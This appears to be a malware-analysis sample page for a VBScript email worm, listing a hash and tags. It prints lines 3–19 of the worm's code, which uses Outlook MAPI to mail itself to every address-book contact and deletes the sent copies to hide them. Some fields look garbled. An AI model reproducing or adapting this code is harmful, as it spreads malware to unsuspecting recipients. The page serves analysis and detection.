Suspicious 80% Download

Email-Worm.VBS.Frido.b

Email worm with self-propagation

Outlook MAPI automationOutlook delete after submit
SHA-2560c08321f0cae0f23f3df3ea2a02eba60cbb6e0423748cd5d68bd27fb383e6c03
MaleculeH₂(CmF)

Evidence

Outlook delete after submit lines 3–19
3:12… 22.Brinkster.com/estufa/
4'swank@hack.siii.net
5On Error Resume Next
6Dim EstelinA, Sex69b, ArielC, CarmenLL, SeTiErras
7Set EstelinA = CreateObject( "Outlook.Application" )
8Set Sex69b = EstelinA.GetNameSpace( "MAPI" )
9For Each ArielC In Sex69b.AddressLists
10For CarmenLL = 1 To ArielC.Mamadas.Count
11Set SeTiErras = EstelinA.CreateItem( 0 )
12SeTiErras.BCC = ArielC.Mamadas( CarmenLL ).Address
13SeTiErras.Subject = "La Tierra del Fuego"
14SeTiErras.Body = "Valecia, la tierra del Fuego, -Spain-"
15SeTiErras.Attachments.Add WScript.ScriptFullName
16SeTiErras.DeleteAfterSubmit = True
17SeTiErras.Send
18Next
19Next

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.